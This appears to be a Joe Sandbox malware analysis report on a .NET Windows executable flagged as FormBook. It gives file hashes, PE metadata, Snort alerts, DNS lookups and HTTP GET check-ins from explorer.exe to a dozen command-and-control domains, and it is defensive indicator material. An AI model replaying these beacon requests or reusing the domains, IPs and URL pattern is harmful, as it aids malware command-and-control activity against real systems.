https://view.joesandbox.com/analysis/335006/html/none?idtype=webid


MD5: 4aa8159742becd97f9ecdda33798b065

SHA1: 775aee28c33102de8c4bdd45dd09821b717b8678

SHA256: 65c6621762bb1bb1589a4a58d4ab2d3fa7c02e581b217b
86ed2ff51227d7565b

SHA512: ab15ec93f68f355de7a6cb66c089f1956dd29c301dbdfa3
145083cfb5c653c24083f9c01ed5398a2631e8c1a37ffcd
ae7b3b38b90c1836c29af2c72ef23e0366

SSDEEP: 24576:VENeBUdtwsEgws8e/z8YEoqSg5LlJfH6zMIDsx
Tt8ZnIYqmaGHB/7YaL:uwBUwsEgws8e5U/BldOpIY3rH
BDYaL

File Content Preview: MZ......................@...............................................!..L.!Th
is program cannot be run in DOS mode....$.......PE..L.....
.`..............P.................. ........@.. ....................................
@................................

General

File Icon

Icon Hash: e0c6a169f4bed870

General
Entrypoint: 0x54f9d2

Entrypoint Section: .text

Digitally signed: false

Imagebase: 0x400000

Subsystem: windows gui

Image File Characteristics: 32BIT_MACHINE, EXECUTABLE_IMAGE

DLL Characteristics: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Time Stamp: 0x60C3160F [Fri Jun 11 07:51:43 2021 UTC]

TLS Callbacks:

CLR (.Net) Version: v4.0.30319

OS Version Major: 4

OS Version Minor: 0

File Version Major: 4

File Version Minor: 0

Subsystem Version Major: 4

Subsystem Version Minor: 0

Import Hash: f34d5f2d4577ed6d9ceec516c1f5a744

Name Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics

.text 0x2000 0x14d9d8 0x14da00 False 0.694698535266 data 7.38800218232 IMAGE_SCN_MEM_EXECUTE, 
IMAGE_SCN_CNT_CODE, 
IMAGE_SCN_MEM_READ

.rsrc 0x150000 0x28354 0x28400 False 0.599797408773 data 6.35218035715 IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_READ

.reloc 0x17a000 0xc 0x200 False 0.044921875 data 0.101910425663 IMAGE_SCN_CNT_INITIALIZED_D
ATA, 
IMAGE_SCN_MEM_DISCARDABLE
, IMAGE_SCN_MEM_READ

Network Behavior

Static PE Info

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos
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Snort IDS Alerts

Network Port Distribution

Timestamp Protocol SID Message
Source
Port

Dest
Port Source IP Dest IP

06/11/21-
15:02:33.885599

TCP 2031453 ET TROJAN FormBook CnC Checkin (GET) 49730 80 192.168.2.7 162.241.253.69

06/11/21-
15:02:33.885599

TCP 2031449 ET TROJAN FormBook CnC Checkin (GET) 49730 80 192.168.2.7 162.241.253.69

06/11/21-
15:02:33.885599

TCP 2031412 ET TROJAN FormBook CnC Checkin (GET) 49730 80 192.168.2.7 162.241.253.69

06/11/21-
15:02:39.242866

TCP 2031453 ET TROJAN FormBook CnC Checkin (GET) 49736 80 192.168.2.7 34.102.136.180

06/11/21-
15:02:39.242866

TCP 2031449 ET TROJAN FormBook CnC Checkin (GET) 49736 80 192.168.2.7 34.102.136.180

06/11/21-
15:02:39.242866

TCP 2031412 ET TROJAN FormBook CnC Checkin (GET) 49736 80 192.168.2.7 34.102.136.180

06/11/21-
15:02:39.380529

TCP 1201 ATTACK-RESPONSES 403 Forbidden 80 49736 34.102.136.180 192.168.2.7

06/11/21-
15:02:44.697962

TCP 2031453 ET TROJAN FormBook CnC Checkin (GET) 49737 80 192.168.2.7 156.241.53.127

06/11/21-
15:02:44.697962

TCP 2031449 ET TROJAN FormBook CnC Checkin (GET) 49737 80 192.168.2.7 156.241.53.127

06/11/21-
15:02:44.697962

TCP 2031412 ET TROJAN FormBook CnC Checkin (GET) 49737 80 192.168.2.7 156.241.53.127

06/11/21-
15:02:56.303221

TCP 1201 ATTACK-RESPONSES 403 Forbidden 80 49739 104.21.64.212 192.168.2.7

06/11/21-
15:03:01.563910

TCP 1201 ATTACK-RESPONSES 403 Forbidden 80 49746 34.102.136.180 192.168.2.7

06/11/21-
15:03:06.762138

TCP 2031453 ET TROJAN FormBook CnC Checkin (GET) 49752 80 192.168.2.7 45.140.167.161

06/11/21-
15:03:06.762138

TCP 2031449 ET TROJAN FormBook CnC Checkin (GET) 49752 80 192.168.2.7 45.140.167.161

06/11/21-
15:03:06.762138

TCP 2031412 ET TROJAN FormBook CnC Checkin (GET) 49752 80 192.168.2.7 45.140.167.161

06/11/21-
15:03:13.179290

TCP 1201 ATTACK-RESPONSES 403 Forbidden 80 49753 160.16.235.37 192.168.2.7

06/11/21-
15:03:23.700836

TCP 2031453 ET TROJAN FormBook CnC Checkin (GET) 49755 80 192.168.2.7 35.246.6.109

06/11/21-
15:03:23.700836

TCP 2031449 ET TROJAN FormBook CnC Checkin (GET) 49755 80 192.168.2.7 35.246.6.109

06/11/21-
15:03:23.700836

TCP 2031412 ET TROJAN FormBook CnC Checkin (GET) 49755 80 192.168.2.7 35.246.6.109

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Jun 11, 2021 15:02:23.026298046 CEST 192.168.2.7 8.8.8.8 0x39ea Standard query 
(0)

www.prltod
ay.com

A (IP address) IN (0x0001)

Jun 11, 2021 15:02:28.253508091 CEST 192.168.2.7 8.8.8.8 0x14fe Standard query 
(0)

www.gordit
asdemaiz.com

A (IP address) IN (0x0001)

Jun 11, 2021 15:02:33.532628059 CEST 192.168.2.7 8.8.8.8 0xdff4 Standard query 
(0)

www.mexico
beachselfs
torage.com

A (IP address) IN (0x0001)

Jun 11, 2021 15:02:39.128118038 CEST 192.168.2.7 8.8.8.8 0xa3b0 Standard query 
(0)

www.tylerr
ucarean.com

A (IP address) IN (0x0001)

Jun 11, 2021 15:02:44.393404961 CEST 192.168.2.7 8.8.8.8 0x236f Standard query 
(0)

www.cgjanv
ier.com

A (IP address) IN (0x0001)

Jun 11, 2021 15:02:50.241206884 CEST 192.168.2.7 8.8.8.8 0xcfa8 Standard query 
(0)

www.flocku
plabs.com

A (IP address) IN (0x0001)

Jun 11, 2021 15:02:55.763794899 CEST 192.168.2.7 8.8.8.8 0x1514 Standard query 
(0)

www.cultur
alinterface.net

A (IP address) IN (0x0001)

Jun 11, 2021 15:03:01.314871073 CEST 192.168.2.7 8.8.8.8 0x60e8 Standard query 
(0)

www.toolbn
bapp.com

A (IP address) IN (0x0001)

TCP Packets

UDP Packets

DNS Queries
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Jun 11, 2021 15:03:06.580559015 CEST 192.168.2.7 8.8.8.8 0x4898 Standard query 
(0)

www.trainup-
wall.com

A (IP address) IN (0x0001)

Jun 11, 2021 15:03:11.884677887 CEST 192.168.2.7 8.8.8.8 0xfe17 Standard query 
(0)

www.paolog
rassino.com

A (IP address) IN (0x0001)

Jun 11, 2021 15:03:18.036056042 CEST 192.168.2.7 8.8.8.8 0xbf6c Standard query 
(0)

www.a-prime-
india-de
mataccount.zone

A (IP address) IN (0x0001)

Jun 11, 2021 15:03:23.564357996 CEST 192.168.2.7 8.8.8.8 0x7819 Standard query 
(0)

www.homean
ddesignstu
dio.com

A (IP address) IN (0x0001)

Jun 11, 2021 15:03:28.908108950 CEST 192.168.2.7 8.8.8.8 0xae66 Standard query 
(0)

www.stays.travel A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Jun 11, 2021 
15:02:23.098263025 
CEST

8.8.8.8 192.168.2.7 0x39ea No error (0) www.prltod
ay.com

213.186.33.5 A (IP address) IN (0x0001)

Jun 11, 2021 
15:02:24.265928984 
CEST

8.8.8.8 192.168.2.7 0xf143 No error (0) prda.aadg.
msidentity.com

www.tm.a.prd.aadg.akadn
s.net

CNAME 
(Canonical 
name)

IN (0x0001)

Jun 11, 2021 
15:02:28.314877987 
CEST

8.8.8.8 192.168.2.7 0x14fe No error (0) www.gordit
asdemaiz.com

151.101.0.119 A (IP address) IN (0x0001)

Jun 11, 2021 
15:02:33.722217083 
CEST

8.8.8.8 192.168.2.7 0xdff4 No error (0) www.mexico
beachselfs
torage.com

mexicobeachselfstorage.c
om

CNAME 
(Canonical 
name)

IN (0x0001)

Jun 11, 2021 
15:02:33.722217083 
CEST

8.8.8.8 192.168.2.7 0xdff4 No error (0) mexicobeac
hselfstora
ge.com

162.241.253.69 A (IP address) IN (0x0001)

Jun 11, 2021 
15:02:39.196547985 
CEST

8.8.8.8 192.168.2.7 0xa3b0 No error (0) www.tylerr
ucarean.com

tylerrucarean.com CNAME 
(Canonical 
name)

IN (0x0001)

Jun 11, 2021 
15:02:39.196547985 
CEST

8.8.8.8 192.168.2.7 0xa3b0 No error (0) tylerrucar
ean.com

34.102.136.180 A (IP address) IN (0x0001)

Jun 11, 2021 
15:02:44.465208054 
CEST

8.8.8.8 192.168.2.7 0x236f No error (0) www.cgjanv
ier.com

156.241.53.127 A (IP address) IN (0x0001)

Jun 11, 2021 
15:02:50.304538012 
CEST

8.8.8.8 192.168.2.7 0xcfa8 No error (0) www.flocku
plabs.com

flockuplabs.com CNAME 
(Canonical 
name)

IN (0x0001)

Jun 11, 2021 
15:02:50.304538012 
CEST

8.8.8.8 192.168.2.7 0xcfa8 No error (0) flockuplabs.com 184.168.131.241 A (IP address) IN (0x0001)

Jun 11, 2021 
15:02:55.854321957 
CEST

8.8.8.8 192.168.2.7 0x1514 No error (0) www.cultur
alinterface.net

104.21.64.212 A (IP address) IN (0x0001)

Jun 11, 2021 
15:02:55.854321957 
CEST

8.8.8.8 192.168.2.7 0x1514 No error (0) www.cultur
alinterface.net

172.67.187.224 A (IP address) IN (0x0001)

Jun 11, 2021 
15:03:01.378590107 
CEST

8.8.8.8 192.168.2.7 0x60e8 No error (0) www.toolbn
bapp.com

toolbnbapp.com CNAME 
(Canonical 
name)

IN (0x0001)

Jun 11, 2021 
15:03:01.378590107 
CEST

8.8.8.8 192.168.2.7 0x60e8 No error (0) toolbnbapp.com 34.102.136.180 A (IP address) IN (0x0001)

Jun 11, 2021 
15:03:06.678253889 
CEST

8.8.8.8 192.168.2.7 0x4898 No error (0) www.trainup-
wall.com

45.140.167.161 A (IP address) IN (0x0001)

Jun 11, 2021 
15:03:12.181862116 
CEST

8.8.8.8 192.168.2.7 0xfe17 No error (0) www.paolog
rassino.com

paolograssino.com CNAME 
(Canonical 
name)

IN (0x0001)

Jun 11, 2021 
15:03:12.181862116 
CEST

8.8.8.8 192.168.2.7 0xfe17 No error (0) paolograss
ino.com

160.16.235.37 A (IP address) IN (0x0001)

Jun 11, 2021 
15:03:18.101866007 
CEST

8.8.8.8 192.168.2.7 0xbf6c No error (0) www.a-prime-
india-de
mataccount
.zone

172.67.155.26 A (IP address) IN (0x0001)

Jun 11, 2021 
15:03:18.101866007 
CEST

8.8.8.8 192.168.2.7 0xbf6c No error (0) www.a-prime-
india-de
mataccount
.zone

104.21.42.16 A (IP address) IN (0x0001)

Jun 11, 2021 
15:03:23.635313988 
CEST

8.8.8.8 192.168.2.7 0x7819 No error (0) www.homean
ddesignstu
dio.com

www17.wixdns.net CNAME 
(Canonical 
name)

IN (0x0001)

DNS Answers
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Jun 11, 2021 
15:03:23.635313988 
CEST

8.8.8.8 192.168.2.7 0x7819 No error (0) www17.wixd
ns.net

balancer.wixdns.net CNAME 
(Canonical 
name)

IN (0x0001)

Jun 11, 2021 
15:03:23.635313988 
CEST

8.8.8.8 192.168.2.7 0x7819 No error (0) balancer.w
ixdns.net

5f36b111-
balancer.wixdns.net

CNAME 
(Canonical 
name)

IN (0x0001)

Jun 11, 2021 
15:03:23.635313988 
CEST

8.8.8.8 192.168.2.7 0x7819 No error (0) 5f36b111-b
alancer.wi
xdns.net

td-balancer-euw2-6-
109.wixdns.net

CNAME 
(Canonical 
name)

IN (0x0001)

Jun 11, 2021 
15:03:23.635313988 
CEST

8.8.8.8 192.168.2.7 0x7819 No error (0) td-balancer-
euw2-6-1
09.wixdns.net

35.246.6.109 A (IP address) IN (0x0001)

Jun 11, 2021 
15:03:29.002484083 
CEST

8.8.8.8 192.168.2.7 0xae66 No error (0) www.stays.travel 91.195.240.94 A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

            
www.prltoday.com

            
www.gorditasdemaiz.com

            
www.mexicobeachselfstorage.com

            
www.tylerrucarean.com

            
www.cgjanvier.com

            
www.flockuplabs.com

            
www.culturalinterface.net

            
www.toolbnbapp.com

            
www.trainup-wall.com

            
www.paolograssino.com

            
www.a-prime-india-demataccount.zone

         

Session ID Source IP Source Port Destination IP Destination Port Process

0 192.168.2.7 49724 213.186.33.5 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jun 11, 2021 
15:02:23.166137934 CEST

1423 OUT GET /uqf5/?7nBTylox=F/Xh9v+g7Cdwl5upkcpMZ8e4b+3WpLzzeVKIM3R3duzbf3evtWksiEg580T900Haqnq5ne
pxFw==&x2J86x=b0DT HTTP/1.1
Host: www.prltoday.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Jun 11, 2021 
15:02:23.234405994 CEST

1423 IN HTTP/1.1 302 Moved Temporarily
Server: nginx
Date: Fri, 11 Jun 2021 13:02:23 GMT
Content-Type: text/html
Content-Length: 138
Connection: close
Location: http://www.prltoday.com
X-IPLB-Instance: 16976
Set-Cookie: SERVERID77446=200179|YMNe4|YMNe4; path=/
Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 
65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 
3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 
72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 
Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>ng
inx</center></body></html>

HTTP Request Dependency Graph

HTTP Packets
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Session ID Source IP Source Port Destination IP Destination Port Process

1 192.168.2.7 49729 151.101.0.119 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jun 11, 2021 
15:02:28.365811110 CEST

1541 OUT GET /uqf5/?7nBTylox=RIGbPleGLKfxQTAe4w4l83Ie2Cv1rNcMEGxhR3mrD7G7p1l+kx0Gi9Gk7nXoQ0ETWUCd/i
hSFA==&x2J86x=b0DT HTTP/1.1
Host: www.gorditasdemaiz.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Jun 11, 2021 
15:02:28.514069080 CEST

1542 IN HTTP/1.1 301 Moved Permanently
server: adobe
location: http://gorditasdemaiz.com/uqf5/?7nBTylox=RIGbPleGLKfxQTAe4w4l83Ie2Cv1rNcMEGxhR3mrD7G7p1l+k
x0Gi9Gk7nXoQ0ETWUCd/ihSFA==&x2J86x=b0DT
cache-control: s-maxage=31536000
x-trace-id: sAT0ESH7EmdVgwN4n3lOaOqWFb8
x-app-name: Pro2-Renderer
x-xss-protection: 1; mode=block
x-content-type-options: nosniff
Content-Length: 0
Accept-Ranges: bytes
Date: Fri, 11 Jun 2021 13:02:28 GMT
Via: 1.1 varnish
Age: 0
Connection: close
X-Served-By: cache-hhn4022-HHN
X-Cache: MISS
X-Cache-Hits: 0
X-Timer: S1623416548.402593,VS0,VE103
Vary: Fastly-SSL, X-Use-Renderer

Session ID Source IP Source Port Destination IP Destination Port Process

10 192.168.2.7 49754 172.67.155.26 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jun 11, 2021 
15:03:18.145966053 CEST

5520 OUT GET /uqf5/?7nBTylox=RQXRa0j10XdpS+WphiMG79Lf9dki4UzLVajXOJjWNMbn24QJDQJAUPqvADWkiraA7rP5UE
ZeUQ==&x2J86x=b0DT HTTP/1.1
Host: www.a-prime-india-demataccount.zone
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Jun 11, 2021 
15:03:18.554022074 CEST

5521 IN HTTP/1.1 404 Not Found
Date: Fri, 11 Jun 2021 13:03:18 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: close
CF-Cache-Status: DYNAMIC
cf-request-id: 0a9cc486a20000c2865d0ba000000001
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v2?s=UemJ8pwfg8Bz2dxojwItmf4aQ5D7zpo3
A2wjaTaS8yOEf8IrxQvson%2B26W8Gpt%2Bzq2shQRo8vwZG24MbZziDzTX3iMVad1ngOnRNfsyDmXAdxjS7GCMkKX
NH8HoMU4ybIfBo49jp5Qm0FKvJS4cdyMw%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 65db09ea9a35c286-FRA
alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
Data Raw: 39 39 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 
6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 
30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 
6e 67 69 6e 78 2f 31 2e 31 36 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 
0a 0d 0a 
Data Ascii: 99<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr>
<center>nginx/1.16.0</center></body></html>

Session ID Source IP Source Port Destination IP Destination Port Process

2 192.168.2.7 49730 162.241.253.69 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jun 11, 2021 
15:02:33.885598898 CEST

1543 OUT GET /uqf5/?7nBTylox=Da4K3sj86vB0DiXWDS0M3B9qaJwAtTAx24xw0Tll3v3x/H7Mq6Ed11VjNseOa8Aw4v8Ggi
dMYQ==&x2J86x=b0DT HTTP/1.1
Host: www.mexicobeachselfstorage.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 
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Jun 11, 2021 
15:02:34.064239025 CEST

1544 IN HTTP/1.1 404 Not Found
Date: Fri, 11 Jun 2021 13:02:33 GMT
Server: Apache
Content-Length: 315
Connection: close
Content-Type: text/html; charset=iso-8859-1
Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 
74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 
75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 
75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 
20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 
68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 
61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 
Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founde
rror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

3 192.168.2.7 49736 34.102.136.180 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jun 11, 2021 
15:02:39.242866039 CEST

1563 OUT GET /uqf5/?7nBTylox=OWFfPnC7AN8R77spBBTPEjKTeS6t/Yq1T4r8C76EKqDZAgRBJ/M7pX2IcLDFGki/UVfODS
OMWA==&x2J86x=b0DT HTTP/1.1
Host: www.tylerrucarean.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Jun 11, 2021 
15:02:39.380528927 CEST

1804 IN HTTP/1.1 403 Forbidden
Server: openresty
Date: Fri, 11 Jun 2021 13:02:39 GMT
Content-Type: text/html
Content-Length: 275
ETag: "60c03ab8-113"
Via: 1.1 google
Connection: close
Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 
20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 
61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c 
74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 
0a 
Data Ascii: <!DOCTYPE html><html lang="en"><head>    <meta http-equiv="content-type" content="text/html;charset=utf-
8">    <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">    <title>Forbidden</title></head><body>
<h1>Access Forbidden</h1></body></html>

Session ID Source IP Source Port Destination IP Destination Port Process

4 192.168.2.7 49737 156.241.53.127 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jun 11, 2021 
15:02:44.697962046 CEST

4589 OUT GET /uqf5/?7nBTylox=G6aWL4dGCeTaDQvTN0iTmiC4rQ5Mm02kgONc9W0Ihpzmf26Z6y5bJWrOsZ7s6rQ8mSLn4I
OSJg==&x2J86x=b0DT HTTP/1.1
Host: www.cgjanvier.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Jun 11, 2021 
15:02:45.473994017 CEST

4590 IN HTTP/1.1 302 Moved Temporarily
Date: Fri, 11 Jun 2021 13:02:44 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=j3m6f66rdeckaaj3j3b3fkf2p4; path=/
Upgrade: h2
Connection: Upgrade, close
Location: /
Content-Length: 0
Content-Type: text/html; charset=gbk

Session ID Source IP Source Port Destination IP Destination Port Process

5 192.168.2.7 49738 184.168.131.241 80 C:\Windows\explorer.exe
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Timestamp
kBytes
transferred Direction Data

Jun 11, 2021 
15:02:50.500833035 CEST

4592 OUT GET /uqf5/?7nBTylox=kpO7L1Lkp8iY+ON3mW6Oq8CK0aWMRalGagQzJa0PwjziroypQJ68geE/Aoh82zgIKZtO8r
NXLQ==&x2J86x=b0DT HTTP/1.1
Host: www.flockuplabs.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Jun 11, 2021 
15:02:50.718878031 CEST

4592 IN HTTP/1.1 301 Moved Permanently
Server: nginx/1.16.1
Date: Fri, 11 Jun 2021 13:02:50 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Location: https://flockuplabs.netlify.app/uqf5/?7nBTylox=kpO7L1Lkp8iY+ON3mW6Oq8CK0aWMRalGagQzJa0Pwjz
iroypQJ68geE/Aoh82zgIKZtO8rNXLQ==&x2J86x=b0DT
Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Session ID Source IP Source Port Destination IP Destination Port Process

6 192.168.2.7 49739 104.21.64.212 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jun 11, 2021 
15:02:55.901098967 CEST

4593 OUT GET /uqf5/?7nBTylox=0mO7J7bxUTMGF+cl/VKrKxzRBdjnePXE0BEJzt+odUfuolHzSnSh7sdQNpsCsCcZdtFb7j
3ZKA==&x2J86x=b0DT HTTP/1.1
Host: www.culturalinterface.net
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Jun 11, 2021 
15:02:56.303220987 CEST

4594 IN HTTP/1.1 403 forbidden
Date: Fri, 11 Jun 2021 13:02:56 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Vary: Accept-Encoding
CF-Cache-Status: DYNAMIC
cf-request-id: 0a9cc42fc10000c29525aa6000000001
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v2?s=jmGl9O6L%2B3wEM9OVAKoZuFUbBtUYOG
6CrWGKf4JmH1L1C%2BfxSAkIpCbiI%2B1KFNya5NS4Pmg9NGI90JR8a5LE4JQyRErHT%2FqpGyTpWqq%2Bx%2Fd7Rr
OPqsAgJOeRVftjdSZTahvfYPwJBg%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 65db095f9fc7c295-FRA
alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
Data Raw: 64 0d 0a 34 30 33 20 46 4f 52 42 49 44 44 45 4e 0d 0a 
Data Ascii: d403 FORBIDDEN

Session ID Source IP Source Port Destination IP Destination Port Process

7 192.168.2.7 49746 34.102.136.180 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jun 11, 2021 
15:03:01.424962997 CEST

4874 OUT GET /uqf5/?7nBTylox=pmtBAvifUG/ctnoihxxVo+fAjsCiy+wOZZJ542i91rLFt0/MLgCG4nudrW9V9JXQ/3W4T2ttkA==&x2J
86x=b0DT HTTP/1.1
Host: www.toolbnbapp.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Jun 11, 2021 
15:03:01.563910007 CEST

4915 IN HTTP/1.1 403 Forbidden
Server: openresty
Date: Fri, 11 Jun 2021 13:03:01 GMT
Content-Type: text/html
Content-Length: 275
ETag: "60ba413e-113"
Via: 1.1 google
Connection: close
Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 
20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 
61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c 
74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 
0a 
Data Ascii: <!DOCTYPE html><html lang="en"><head>    <meta http-equiv="content-type" content="text/html;charset=utf-
8">    <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">    <title>Forbidden</title></head><body>
<h1>Access Forbidden</h1></body></html>
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Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Session ID Source IP Source Port Destination IP Destination Port Process

8 192.168.2.7 49752 45.140.167.161 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jun 11, 2021 
15:03:06.762137890 CEST

